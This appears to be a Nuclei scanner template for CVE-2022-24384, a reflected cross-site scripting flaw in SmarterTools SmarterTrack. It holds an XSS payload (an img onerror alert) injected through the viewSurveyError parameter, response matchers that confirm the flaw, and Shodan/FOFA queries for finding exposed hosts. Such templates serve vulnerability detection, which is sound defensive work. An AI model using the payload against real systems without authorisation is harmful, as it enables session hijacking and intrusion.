id: CVE-2022-24384

info:
  name: SmarterTools SmarterTrack - Cross-Site Scripting
  author: E1A
  severity: medium
  description: |
    Cross-site Scripting (XSS) vulnerability in SmarterTools SmarterTrack This issue affects: SmarterTools SmarterTrack 100.0.8019.14010.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by SmarterTools to fix this vulnerability.
  reference:
    - https://csirt.divd.nl/CVE-2022-24384
    - https://csirt.divd.nl/DIVD-2021-00029
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24384
    cwe-id: CWE-79
    epss-score: 0.04737
    epss-percentile: 0.90969
    cpe: cpe:2.3:a:smartertools:smartertrack:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: smartertools
    product: smartertrack
    shodan-query: http.favicon.hash:1410071322
    fofa-query: icon_hash=1410071322
  tags: cve,cve2022,xss,smartertrack,smartertools,vuln

http:
  - raw:
      - |+
        GET /Main/Default.aspx?viewSurveyError=Unknown+survey"><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - '"type":"error","text":"Unknown survey\"><img src=x onerror=alert(document.domain)>"'
          - 'smartertrack'
        condition: and
# digest: 490a00463044022030c5ffc2b55ed4ae720b1ffaa42f90a79591ca1fefc5da3bb1e944c1487ff3bc022011f85cf8b2c1c72e8bb8ea3ebcda351089f0e59a1f113362558768521432ca64:922c64590222798bb761d5b6d8e72950